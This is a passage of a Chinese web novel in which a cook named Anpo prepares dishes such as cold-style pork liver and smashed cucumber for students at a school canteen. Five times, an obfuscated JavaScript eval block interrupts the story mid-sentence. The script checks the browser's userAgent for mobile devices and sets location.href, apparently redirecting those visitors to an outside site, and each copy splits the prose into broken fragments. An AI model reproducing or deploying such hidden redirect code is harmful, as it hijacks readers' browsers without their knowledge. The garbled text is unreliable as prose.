砂锅的保温性很好，持续积攒的热量保留着，白菜在里面翻个几遍就熟了。 褐色的酱汁混着鸡油，一滴一滴流过白菜表面。 安珀夹了片叶子放到安栗碗里。 安栗撅起嘴，嫌弃把叶子埋在米饭的最底下。 “吃完。”语气淡淡的，安珀就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698797|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么平静盯着她。 对视两秒后，安栗垂下眼，慢倍速把白菜翻出来，咬了一丁点边吃到嘴里。 白菜吸饱了干锅鸡剩余的酱汁，鸡油裹住叶子表面，清甜的酱汁穿透几层溅出来，洗刷了吃多鸡肉产生的油腻。 安栗开心发出小猫呼噜呼噜声，脸颊肉堆起，白菜一截接一截塞进嘴里。 安珀挑眉，意味不明哼声。 收尾白菜意外的大受欢迎，很快被消灭掉了。 餐后，一人一碗凉米汤，原汤化原食，满足得不得了。 “嗝…嗝…” 杜济世摸着吃撑的肚子，不停反了几个嗝。 “顺一顺。” 安珀好笑摇摇头，给她倒了杯温水，扭头找安栗问餐费的事。 她下午查了后门的监控，来来回回就那么些人吃饭，收到的钱却对不上。 当时安栗正好在…… 【我收了他们3块。】安栗举起本子，半遮住脸，瞟了安珀一眼又一眼。 【他们口水都快留到我碗里了。】安栗不服气补上一句。 果然，安珀的猜想成真，她语气严肃：“他们冒犯到你可以骂回去，但不能多收钱，一码归一码。” 本子盖住脸，安栗轻轻嗯一声。 见她认识到错误，安珀也不多说什么，默默思索着怎么把钱还回去。 人一时半会找不到，店里的生意还要继续。 这回安珀去得早，抢到了几幅猪肝。 不锈钢盆放满水，葱打结姜拍烂扔进去。猪肝随便用水冲几下，去掉表面的灰尘，也放进水里泡血水。 再来上点料酒去腥。 猪肝要泡上好一会，安珀在货架上掏出一把干辣椒，慢慢剪成丝。 干辣椒表皮破裂，辣分子从缝隙跑出来，在安珀的鼻尖蹦迪。 “阿嚏阿嚏。”安珀没忍住打了几个喷嚏。“够劲！” 地里辣椒疯长，新鲜的根本吃不完，安珀索性把先红的全部晒成干辣椒。 这还是第一回试她做的干椒，她有点期待中午冷吃猪肝的辣味了。 咔嚓咔嚓—— 后厨的剪刀声不停，安珀不知不觉剪了一碗辣椒丝。 碗里加点花椒，接温水一起泡着。 处理完猪肝的前序工作，安珀转而处理起地里摘回来的黄瓜。 13. 第 13 章 本地黄瓜和外面卖的品种不同，更水更软脆。 刮皮刀削一条留一条，保留一点外皮口感的韧劲。 唰唰唰—— 长条的黄瓜皮渐渐堆满一个盆，安珀把它移到架子上，然后把另一个盆削好的黄瓜冲洗一边，掐头去尾。 三条黄瓜整齐摆在案板上，刀横着，分别落在不同的点敲几下。 砰砰砰 清爽的黄瓜香飘向上空，汁液淅淅沥沥流淌在案板上，黄瓜碎成不规则的块状。 安珀的动作迅速，几条黄瓜同时开工，盆里的黄瓜慢慢空了，反而是另一个不锈钢盆堆满了黄瓜块。 辣椒面覆盖表层，同样是手拍的大蒜碎放上去，再加上点小米辣。 烧到冒烟的混猪油泼上去。 刺啦刺啦 辣椒面刺激的香味激发出，辣椒面黏糊成一块，在清爽绿的衬托下红得耀眼。 安珀凭手感浇上生抽耗油陈醋，再来点糖提鲜。 热油带上去的温度还在，小颗粒的糖很快化成一滩。 手随便翻拌几圈，各种配料融为一体。 红亮亮的干汁扒在黄瓜表层，辣味稍稍有点刺鼻子。 安珀捡了一块试味。 不算脆，微微辣，更多是辣椒的香气。料汁的味道停留在黄瓜表层，再腌上几个小时，多出点水，到中午开餐的时候味道刚刚好。 拍黄瓜放到阴凉位置腌制，同样在阴凉处泡的猪肝已经变成红彤彤的一盆，腥味不停溢出，挑战安珀的忍耐极限。 安珀把几幅猪肝捞出，扔进大炒锅里。 水加到和猪肝表面齐平，八角香叶等大料添进去，再来点去腥的葱姜，还有增添风味的花椒粒。 老抽多倒点上个色，几勺盐入个底味。 开火！ 蓝色的火焰噗嗤噗嗤，锅里的水很快开了，滚起大泡泡。 酱色的水盖住猪肝，大料发力，从锅中央溢出特殊香味，还有点熟猪肉的味道。 安珀努力吸几口，都有点不舍得开抽烟机了！ 水咕噜噜扑腾，安珀一边打煮出来的浮沫，一边看着时间。 15分钟到了。 一根筷子戳进去，猪肝紧紧实实，没有血水从缝隙里溢出来。 可以了。 保持大火的火力，安珀把猪肝从滚水中央捞出来，马上开热水冲掉实在避不开的杂质。 偏酱色的猪肝DuangDuang颤动，安珀捡出一块，从中间一分为二，再将猪肝片成刀片厚度的三角形。 煮出来的猪肝肉质细润，两面泛起不同大小的孔洞，像是发酵正好的奶酪。 可安珀今天不要它绵密的口感，反而要走另一个极端。 一桶油全部倒进去，猪肝也放进去炸。 安珀将火力调到中等，免得一个没注意猪肝就炸糊了。 油滋啦滋啦地缠住猪肝，没一会，猪肝转变成深褐色，两面鼓起小点点，有点像突然立起的鸡皮疙瘩。 细密的油泡盘在猪肝的沟壑，锅里的鼓点声逐渐缩小，安珀铲起几块猪肝看看状态。 再炸就要咬不动了。 安珀立即将猪肝捞出，搁到沥油篮。 炸猪肝的油倒掉一半，剩下一半留在锅里等它稍稍降温。 安珀伸出手探了探，油温已经降下去了。 泡过水的辣椒丝和花椒倒进去，刺啦刺啦刺啦。油锅碰到水，顿时爆发剧烈的抗议，小油点脾气上来，不分方向到处溅，和没素质吐口水的羊驼一模一样。 即使安珀把辣椒丝的水沥得再干净，总有一些藏在小角落。她没法，干脆小火慢慢熬辣椒，自己则站远点。 锅里温度上升，水汽一点一点被蒸发，油锅可怖的滋啦声终于收了。 后厨渐渐漫出辣椒香，呛咳的气味随之而来。 “咳咳。”安珀捂住嘴咳了几声，隔远点翻动几下辣椒。 清亮的油颜色滋滋地变深，呈现出辣椒表皮的红。红亮亮，油润润，几秒就把人的口水引下来。 安珀忍住想尝口辣椒油的冲动，单手把沥好油的猪肝倒进去。 铲子拌几下，猪肝和辣椒彻底和均匀。 生抽和耗油从锅边浇，那里温度最高，呲呲几下将水分蒸掉，留下精华淌入锅。 白胡椒粉、孜然粉、花椒粉加进去，放点辣椒粉增添猪肝的辣度。 香料味混在油里，化成层次味道更丰富的辣椒油裹住猪肝。 差不多了。 安珀出锅前撒点孜然粒和白芝麻，增加口感。 冷吃猪肝完成。 还有一个菜和一道汤。 商城买的小公鸡她昨天已经剁好了，肉块比干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698798|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅鸡更小。 菜单上有两个菜属于凉菜，鸡肉要做成更下饭的类型。 安珀正准备把鸡肉从冰箱搬出来，后厨突然响起道机械女声。 “欢迎光临。” 安珀抬头瞟了一眼钟，十点半。 这么早就有客人来了？ 安珀内心怀疑，但脚步还是诚实地跑了出去。 栏杆边，一个穿着军训服的女生正来回张望，不停跺着小碎步。 见到安珀，她激动“啊”一声，然后意识到什么，连忙捂住嘴，眼珠子四处瞟。 “你这里是不是有吃的？我闻到了。”女生吸吸鼻子。 “目前只有两个菜，你现在要吃饭吗？” 安珀说了下情况，女生连连摇头。“不是不是，我只要那个辣辣，香香的东西。” 形容得很宽泛，但落在安珀这里就是个二选一。 “冷吃猪肝？” “猪肝？”女生的小动作停下，圆眼珠瞪得溜圆。 那个吃起来绵绵的，腥味十足，还糊嗓子的东西？ 她慢慢撤出脚步，有点后悔不应该闻到味就溜出来。 女生叫路瀑，是金晨一中的高一生，和安栗一样在军训。 不过她的情况比其他学生要好很多。她家在附近租了房子，妈妈专门过来陪读，一天三顿在家吃，根本不用踏进难吃的食堂。 这次跑过来，纯粹是馋了。 她感冒了一星期，鼻子一直不通气。身体没好之前，她妈妈严格遵循医嘱，菜里坚决不放辣椒。 作为一个嗜辣星人，怎么吃得下去这种没味道的菜。 吃了也和没吃一样。 于是，在闻到这股香中带辣，无比勾人的味道后，路瀑脑子一抽，装闹肚子溜出来了。 呜呜呜，她站这这么显眼，教官肯定看见她了。 辣椒没吃到，回去还要被骂，路瀑无比绝望。 偏偏炒的是猪肝，她最讨厌的东西。 操场突然刮起一阵风，树叶沙沙响，辣椒的香气搭着风飘过来，钻到鼻孔不停转圈圈。 路瀑馋得抓心挠肺。 要不，试试？ 大不了辣椒油蘸馒头，她早上还有半个馒头在兜里没扔呢！ “给我来一份，快点。”路瀑小碎步蹦蹦，叮嘱一句：“用塑料袋装。” 14. 第 14 章 客人的要求安珀当然是尽力满足。 她装了满满一袋子猪肝，又在外面多套了一层袋子，免得走到路中间辣油就渗出来了。 即使上了双层保险，够劲的辣香还是透过了层层障碍。 “就是这个味！”路瀑捧着猪肝深吸一口，表情陶醉。 她把猪肝塞进裤袋，大步跑回操场中央。 到的时候，教官正组织大家玩破冰小游戏。 抢凳子。 大圈中间只剩两把凳子，显然这轮的游戏已经进入到白热化阶段。 路瀑申请归队，自然而然挤到同学边上看热闹。 “路瀑，你是不是发烧了？下一轮玩不了就别上去了。” 同学看她全脸的汗连成线流下来，脸颊像打了过量的腮红，急促呼吸，上气不接下气。 路瀑侧过头把汗全蹭到衣服上，声音干巴巴，心虚打哈哈。“没有……吧，我不热。” 每一轮的抢凳子都是以学号尾数挑人上去，而在她离开的空隙已经玩过几轮，下一把就是她了。 本来可玩可不玩，但是…… 谁叫她死对头和她一个尾号。 路瀑的死对头准确来说是她的邻居，一个时常给自己树立假想敌的人。 学习要比、特长要比、连吃饭不挑食也要…… 比得过就抬起鼻孔看人，比不过就翻个白眼蔑视。 现在又发射了个白眼给她，路瀑不甘示弱瞪回去。 哼，姐待会让你在地上爬！ 路瀑昂起下巴，雄赳赳气昂昂上场。教官一声令下开始，路瀑以猛虎扑食的姿势成功抢到一把椅子，死对头善于把握时机，也坐到凳子上了。 一轮轮游戏过去，人数渐渐减少，路瀑和死对头依然在台上屹立不倒。 很快，游戏进入到白热化阶段，场上剩余三人，两把椅子。 路瀑盯上离她最近的那把，恰好死对头的目光扫过来，两人视线对上，滋滋作响。火药味弥漫在空中，大战一触即发。 路瀑一个箭步，跨越几米扑向椅子。 指尖还差几厘米，路瀑即将成功。不料侧面传来一股劲风，死对头面目狰狞，咚咚咚冲过来。 不出意外的话，下一秒路瀑的指甲会被撞劈开。 关键几秒里，路瀑大脑飞速转动。她一个躬身，躲开那股强势的劲风，随后就地一个翻滚，抓住椅子腿，拖出几米远。 前面的障碍物消失，死对头控制不住惯性，噌噌噌往前冲，鞋底在橡胶跑道上划出刺耳的吱嘎声。 突然，死对头大叫一声，脚不稳晃动，屁股直直地砸到地上。 砰—— 实打实的砸肉声，路瀑光听着就牙根酸，她已经能想象到衣服下面一大片青紫浮上来。 路瀑扔掉椅子，跑出六亲不认的步伐，马尾辫在身后甩来甩去，兜里的塑料袋探出一角，跟着身体的移动晃来晃去。 “没事吧？”路瀑站到死对头面前伸出手，眼里冒出看热闹的精光，假意问。 啧啧，嘴角直抽抽，肯定疼得不行。 “假好心。”死对头恨恨甩开路瀑的手。 两个手掌相接，响亮的巴掌声炸在耳边。对面传来的力让路瀑向后仰了仰，她手背浮现一道道清晰的红痕。 勾在裤袋边的塑料袋终于坚持不住，被一巴掌扇飞出去，呈抛物线砸向死对头抽搐不停的嘴角。 正中红心，一兜子砸个严严实实，啪地扇了死对头一个不规则的圆红印，塑料袋渗出的红油均匀拓在印痕上。 “你给我等着。”死对头拂开塑料袋，手脚并用爬起来，一瘸一拐走向包围圈。 “天意啊！”路瀑喃喃，扭头去捡她的冷吃猪肝。 被甩开的猪肝在操场骨碌碌滚了几个圈，打的结悄然松散开，趴到了军训同学的脚边。 刺激，辣气十足的辣味从一角飘出来，伴随各种勾人口水的香料味。 “咕咚！” 咕噜噜—— 几个小时的高强度运动，早上吃的那点东西早消化得干干净净。勾人的香味一出，同学们再也掩饰不住原始的生理反应，一个个肚子直打鼓。 “好香啊！” “路瀑带的什么东西？” “我想吃辣条了。” 几道不同的视线落到冷吃猪肝上，流露出的意思趋向一致。 想吃！ 不妙。 路瀑生出不好的感觉，赶快跑过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698799|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡猪肝。不料，一只手比她更快勾起塑料袋。 抬头一看，站她旁边的同学扬起一个大大的笑脸。 “路瀑，你不够意思哦！”冷吃猪干在她指尖轻轻晃动。 “走走。”路瀑推搡她肩膀，把她往放水的地方带。“别在这吃，不够分。” 同学秒懂，将猪肝塞进裤袋，又招呼了几个好朋友，一群人浩浩荡荡走到休息区。 香味封得严严实实，其余同学见彻底没份，只好擦擦嘴角，收起垂涎的目光。 “留点辣椒油给我，猪肝你们分了。”路瀑咕咚咕咚灌几口水，边翻包里的馒头边交代。 等了几秒，无一人应声。反而有些窸窸窣窣，老鼠啃东西的声音。 路瀑回头一瞧， 几个人随意坐在地上，黑乎乎的脑袋凑到一块，前面的塑料袋口子大敞，冷吃猪肝的分量瞬间下去一半。 “唔，真好吃。又脆又香，辣椒油熬得正宗。” “完蛋，吃到花椒炸弹了，麻死我了。” “你比我多吃几块猪肝了，这块是我的。” 几人吃得满嘴红油，斯哈斯哈，还在碎嘴子交流感想。 就路瀑呆住的这点时间，冷吃猪肝又少了，剩了薄薄一层底。同学当即伸手挡住其他人，“辣椒油留着中午拌饭吃。” 一听，路瀑猛然发觉不对劲。 辣椒油不是她的吗？ 路瀑冲上去，攥着馒头在冷吃猪肝里刮一层，塞进嘴里。 馒头吸饱了红油，香香辣辣。厚实的馒头一层层将辣椒油的味道传递出来，辣中带甜，口里不断回味。 红油里含了些猪肝碎碎，蘸馒头的时候不可避免带出来了。 咔嚓—— 嘎吱嘎吱， 猪肝脆脆的，像含了一口袋子里最后的薯片碎。口感上却又近似牛肉干，干香干香的。 时不时咬碎的孜然粒和芝麻在口里弥漫特殊的香气。 复合辣味的火气直通鼻腔，一股暖流流出来，好像有什么通了。 路瀑呆呆看着红油泡着点点猪肝碎的塑料袋，她从来不知道猪肝还能这样吃，竟然这么好吃！ “天杀的，我跟你们这群饕餮拼了！” 15. 第 15 章 路瀑蹿上去，双手掐住她同学脖子，来回摇晃。“这么好吃的猪肝，你们硬是藏着掖着，一声不吭。长本事了，钟芜西。” “你先擦擦鼻子。”钟芜西嫌弃推开她脸，补一句。“你说了你不吃。” 路瀑抹了把鼻子又吸吸，空气畅通无阻通过，堵了一个星期的鼻子居然好了！ 难不成这是网上说的以毒攻毒？ 路瀑手放松，故意把脸贴过去。“少转移话题。辣椒油，辣椒油总该留给我。” 钟芜西不自在摸摸盯着脚尖，理不直但气壮：“食堂难吃得要死，我们用辣椒油拌饭，改善生活怎么了？” “大不了钱给你，你再去买一份。” 边上的同学七嘴八舌附和：“对啊，路瀑你下午再去买一份。” “帮我带一份，不，两份。” “我也要。” “先给我来十份，多少钱？” 一双双嗷嗷待哺的眼睛和她对视，路瀑差点顶不住，原地捂住肚子想请假去代购。 “一块五，在学校操场角落，你们中午去吃。”安珀的话又让路瀑原封不动在几人跟前转述一遍。 闻言，几人激动得原地做起计划。 “再训练一会就能去吃午饭。吃一份，打包一份，晚上的饭也有着落了。” “路瀑你去吗？” “她不去。她妈中午给她做了饭。” 几人你一句我一句，把路瀑的行程安排得明明白白，她甚至没插上话。 然后，路瀑忽然意识到一个无比严肃的问题。她去不了，那她的猪肝呢？ 路瀑视线慢慢挪到几个叽叽喳喳的女生身上，“该死的饕餮，把我的猪肝吐出来。” …… 安珀不知道她的冷吃猪肝引发了一场大战，她瞄了眼钟，心道备菜浪费了点时间，得加快速度了。 两个灶同时开火，浇上一勺猪油，丝瓜片哐哐倒进锅里。 热油被丝瓜盖得严严实实，发出沉闷的刺啦声。 底下的丝瓜软化，由清翠的绿转变为深绿。锅铲抄底翻拌几下，深绿穿插其中，浅浅深深，极为清爽。 蓝色火焰持续不断提供热源，靠锅边的丝瓜最先软化，悄悄流下一滴浑浊的汁。 慢慢的，锅里的丝瓜片软趴趴挤成一团，汁液不断流出，在锅里的凹陷处汇聚成一股白中带黄的汁。 丝瓜的清甜一点一点飘出来，丝瓜片褪去了厚白的外衣，呈透明状。 安珀往里面补了一瓢水，调小火力榨干丝瓜最后一点汁。 另一个锅同样浇上铺满底的猪油，大量的姜片扔进去。 滋滋滋，猪油泛起小泡泡，姜片变得干枯，底油忽然飘出辛辣味。 安珀闻了闻，随即将腌制成酱色的细碎鸡块倒进锅里。 刺啦—— 一股白烟猛地扑出来。 鸡肉碎掩盖其中，边缘逐渐发白。 锅铲抄底，将鸡肉碎抖散，浓郁的酒香飘出来。 再翻拌几下，浑浊的猪油滋滋滋变得清澈，鸡肉里的水分炒干了。 安珀一股脑把整蒜和辣椒碎放进去，浇上三件套，抡几圈。 碎鸡肉被酱色裹得均匀，边缘呈焦褐色，酒香混合辣味在上空盘旋。 抖抖锅，红红褐褐的鸡肉碎倾泻进保温盒，一秒又一秒冒着氤氲的雾气。 咕嘟咕嘟 安珀揭开丝瓜汤的盖子，水蒸气凝结的水滴顺着倾斜的方向滴水。 一滴、两滴，全落入了汤里，跟着丝瓜籽翻转来滚下去。 丝瓜汤也煮好了，开饭了！ 小食堂开饭了。 各种食物混杂的香气从操场角落飘出来的时候，穆柯知道可以去小食堂吃饭了。 无奈…… 穆柯悄悄挪了挪蹲得发麻的脚尖，期待瞧着前面骂人不重样的教官。 什么时候他的嘴里能吐出一句“解散”？ 仿佛知道他们的想法，教官目光轻飘飘瞥过来，“再在里面做小动作，我们就友爱一下同学，最后一个去吃饭。” 队伍里发出细小的哀嚎，却被教官一个眼神杀到噤声。 穆柯立马低头，不敢和前面的人对视。额头的汗水汇聚成一股，顺着脸颊流下来，停在嘴角。 咸咸的，有点像昨天吃的猪油渣。 不知道吃了多少个猪油渣，头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698800|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶突然传来“解散”的天籁。 周边的同学瞬间瘫倒在地，穆柯一瘸一拐站起来，忍着蚂蚁啃脚心的麻痒，自虐般地踢踢腿。 和他同款动作的还有三个人。 几人对视一眼，霎时撒开脚丫子往操场角落跑。 吃饭啦！！！ “我靠，神人啊！刚蹲完就跑步。” “穆柯他们跑什么？” “抢饭？食堂那饭有什么好抢的。”男生说话带着淡淡的死感，如同半死不活的鱼躺在地上。顶多在背上烫到不行的时候翻个边继续烫。 几秒后，男生诈尸般拱起来。 “穆柯，有鬼。” 他连滚带爬追上去，其他不明真相的同学见状，也追上去。 队伍稀稀拉拉拖了一长条。 最前面是安栗和杜济世。杜济世抱着安栗，拨动轮椅操纵杆，飚得又直又快。他们后面是穆柯四人组，然后是紧追不舍的同班同学。殿后的则是钟芜西几个。 一群人飚起来，脚后扬起一层沙。 安珀出来摆菜的时候，刚好见到这个画面。 尘土飞扬，面带渴望。 安珀有些怀疑她不是开饭店的，而是喂鸡的。咯咯咯扯嗓子喊几声，一群鸡扑着翅膀飞来了。 转眼间，这群人飞到了跟前。 “老板，我……我要…”穆柯上气不接下气，半天没说完一句整话。 “先摆桌子。”安珀叹口气，有些发愁这群人的座位，她刚买的折叠桌貌似不够了。 穆柯后知后觉，从缝隙接过折叠桌。 背后一群人傻傻愣住，不太明白他们的操作。 “想吃自己摆桌子。”穆柯没好气呵一声。 一群人回神，纷纷上前接过桌椅。 在这里待了会，饭菜的香气不停飘进鼻子，饶是再迟钝的人也明白接下来要干嘛了。 趁着接桌子的间隙，男生谴责穆柯的不道义。“找到新地方吃饭不说，穆柯你竟然忍心看我们吃食堂。” “就是，就是。” 穆柯咚咚咚摆好桌椅，一屁股先占个位置。 他能说他也是昨天才偶然发现的吗？ 16. 第 16 章 五套折叠桌椅很快摆好了，在阴凉处整齐连成一线。 安家外摆小摊开业。 作为早一天的元老级人物，穆柯拿起餐盒给后面的人示范。 一勺碎碎鸡，一勺冷吃猪肝，一勺拍黄瓜，再舀上一勺满满的丝瓜汤，盖子封严实，侧着从栏杆里拿出来。 队伍后面的人如法炮制。一长溜弯弯曲曲的队从安珀那连到操场拐弯的地方。 钟芜西几个人排在最后，等她们打完菜，折叠桌早就满了。 几个人也不嫌弃，找个不烫屁股的位置就地坐下。 掀开盖子，钟芜西第一筷子贡献给了冷吃猪肝。 猪肝比她不久之前吃的更入味。 麻麻的花椒香融进猪肝片里。老板应该考虑到了本地人的口味，花椒只放了一点点，丰富猪肝的口感。 主味还是辣。 和外面死命增加辣度的纯辣不同，吃第一口就能感觉到干香在口腔发散，几秒后，舌尖上的甜反上来，中和了辣味。 猪肝在油里泡了不少时间，竟然还保持刚出锅的脆度，咔嚓咔嚓。 钟芜西一连吃了好几口，才扒口饭。 米饭油油润润，上面沾了点碎碎鸡的汤汁。 辣辣香香，鸡肉的香气在米饭间跳跃，勾得人吃了一口又一口。 汤汁这么好吃，鸡肉又是什么味道？ 钟芜西夹了一筷子，皱着眉头把肉咽下去。 空口吃碎碎鸡有点偏咸，拌在饭里刚刚好。 钟芜西把碎碎鸡全部划拉进饭里，拌了拌。 红椒圈和褐色的鸡肉混在米饭中，把米饭也染成了金黄带棕的色彩。 一口把用料丰富的饭塞下去，鸡肉紧实，边缘椒香。偶尔吃到一块带骨的，舌头一卷就能吐出来，完全不会中断吃拌饭的快乐。 吃着吃着，一股隐隐约约的酒香在鼻尖萦绕，完全分不清是闻到的，还是口里冒出来的。 钟芜西埋头扒饭，周围人也不逞多让，吃腻了还会夹一块黄瓜解腻。 软软脆脆，黄瓜的清香和酸味占了上风，瞬间冲刷掉嘴里多余的油腻感。 “这猪肝怎么做的？好像在吃熏干的肉干。” “碎碎鸡的大小特别适合拌饭，辣味吃起来刚刚好，鸡肉也好多。我快分不清吃的是鸡饭还是米饭。” “配上拍黄瓜解腻，绝了！” “胡说，明明丝瓜汤更适合去油腻。” 两人干脆以哪道菜配碎碎鸡更合适展开辩论，钟芜西好奇也去尝了口丝瓜汤。 她猛地瞪圆眼。 甜的！ 而且是丝瓜自带的蔬果甜，完全没有其他人工调料味。 丝瓜汤足够黏稠，清甜在口里大爆炸，时不时有嫩嫩的丝瓜籽经过，钟芜西嚼了嚼，又被惊喜到了。 这不就是珍珠奶茶里的珍珠吗？ 她终于吃到爸妈嘴里念叨的没有水气的丝瓜汤了！ 钟芜西准备学着爸妈平时的样子来泡个饭，扒拉扒拉碗里，全是碎碎鸡的影子，她懊恼捧起餐盒。 早知道就留点饭出来。 钟芜西掐了掐腰间的游泳圈，挣扎了一两秒，毅然决然站起来，端起丝瓜汤去添了点饭。 下午还要军训，她这是提前存点能量。 再说了，她前两天压根没吃饱。 能量平衡，能量平衡。 钟芜西毫无负担吃了口丝瓜汤拌饭。 油润的米饭配上黏黏糊糊的丝瓜汤，更软糯了。别提两边的味道都是甜的，甜味加倍，像是在吃蛋糕店出的甜品新款。 钟芜西呼噜呼噜扒饭，周围也是同款的扒食声音。 空旷的操场上有吱吱的蝉鸣、树叶的沙沙声，各种声音交织一起，共同谱写出一首睡前疗愈曲。 突然，一道咋咋呼呼的声音打破了片刻的宁静。 “没了？都没了？”钱飒余拿勺子在保温盒里舀了舀，七零八落的辣椒碎从勺子里抖下来。 安珀摊摊手，“真没了。” 她备的菜就比昨天的分量多了一点点。 今天来的人完全超出了她的预料，没看到还有一些同学蹲在地上吃吗？ “不然你将就吃一点，这顿不扣你们钱。”安珀见他们铁了心留在这，提议道。 辣椒拌饭挺好吃的，她刚刚也吃的这个。 钱飒余点点头，快速舀了饭，打点边角料盖在上面。 打菜的动作幅度很大，手上不免带了点气。 今天好像吃碎碎鸡、猪肝……物理老师什么时候改掉他拖堂的坏习惯，不然他已经在小食堂吃上饭了。 而不是一勺辣椒油、辣椒丝、辣椒圈。 焦黄的块块混着辣椒一起滚进碗里，钱飒余眼睛一亮，勺子在盆里搅了搅。 大蒜！ 炒得微焦的大蒜粒。 安珀见他神色骤然轻松，笑着补一句。“大家好像不太喜欢吃大蒜粒，打饭的时候都挑出来了。” 钱飒余嘿嘿一笑，不喜欢正好，他喜欢啊！ 盆里剩余的大蒜粒全被他抄底。王肃和徐度视线飘到他身上，又默契移开，同时往旁边跨了几步。 钱飒余浑然不觉，喜滋滋端碗跑到空了的折叠桌坐下。 晚点来也挺好的，至少有位置坐，还有大蒜粒吃。 短短时间里，钱飒余已完成自洽。 后面来的人没有什么菜挑，也就无所谓一口一口试试菜的味道。 钱飒余学着吃猪油拌饭的架势，找安珀要个大点的碗，边角料全部混在一起，再一口塞。 唔—— 好香。 大蒜没有全熟，保留了些生蒜的刺激口感，吃起来嘎嘣脆。外皮焦脆的部分更是一绝，舌尖尝到些微苦，很快被腌入味的辣味掩盖。 钱飒余加快咀嚼速度，大蒜粒一颗颗在嘴里爆开，蒜粒特有的臭味喷出来。王肃憋住气，端起碗找到一个离他最远的地方蹲下吃。 钱飒余懵懵抬起头，含了一口的大蒜说话。“怎么走了？有位置不坐？” 一股股生蒜臭味喷发，对面的徐度痛苦闭上眼，也端起碗撤了。 “好好吃你的饭。”不要说话。 两人走了后，钱飒余再去把盆底的蒜刮干净，一个人占个桌子吃得无比欢快。 悠扬的音乐声在操场响起，折叠桌渐渐空了。吃饭的同学自发将卫生收拾好，倒是省得安珀再翻过去打扫一遍。 店里的碗筷，洗碗机洗洗刷刷很快就完成了。 安珀正好空出手处理那些多余的黄瓜。 备菜的时候，黄瓜皮已经被她洗干净晾干了。 两头发苦的蒂去掉，黄瓜对半切开，用勺子将里头的瓤刮出来，再把黄瓜切成一指厚的横片。 咚咚咚—— 刀片有节奏地切在案板上，安珀手速飞快，没多久，一条条短圆的黄瓜变成厚片堆在盆里。 新拆开一袋盐，均匀地洒在黄瓜片上。 白皙的盐粒裹住黄瓜片，慢慢地和它融为一体。清爽的汁液滴出来，几十分钟在底下聚了一大滩嫩绿色的水。 安珀双手包裹住黄瓜片，朝中间使力，大股水液吱地喷出来。 黄瓜片蔫蔫嗒嗒，缩成一团。 无水的簸箕抖抖，架在椅子上，黄瓜片均匀铺开。 正午的太阳很毒，刺得安珀的眼睛睁不开。她估摸着，一个下午差不多晒好了。冬天蔬菜少的时候可以加到食堂的菜单里。 一眨眼，安栗的军训结束了。 安家小食堂的人流稳步上升，原来的折叠桌根本不够使，安珀又在系统商城秒杀了好几次，才堪堪满足同学们的需求。 如今，放眼望去，一角操场俨然铺满了折叠桌，俨然一个操场大排档。 周末放假，折叠桌显然不能堆在学校灌木丛，安珀翻过去翻过来，终于将折叠桌收拢堆在店里，然后在卷帘门上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698801|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴上一张a4纸。 【店主有事外出，周末不开门。】 是的，她要去安茯苓家掌勺了。 正式的搬家宴会在明天，但她们这边正宴前一天，同村的人还能在吃一顿晚餐。 安珀得提早去做准备。 采购的事安珀不用担心，有专人负责。自从上次陈大厨的吞回扣的事情爆出来，这边办席就不让厨师经手菜品了。 安珀乐得轻松自在，不然让她同时处理店里和宴席上的采购，她真忙不过来。 最后再检查一遍店里，安珀拿上些需要的东西，骑三轮车载着安栗去安茯苓家了。 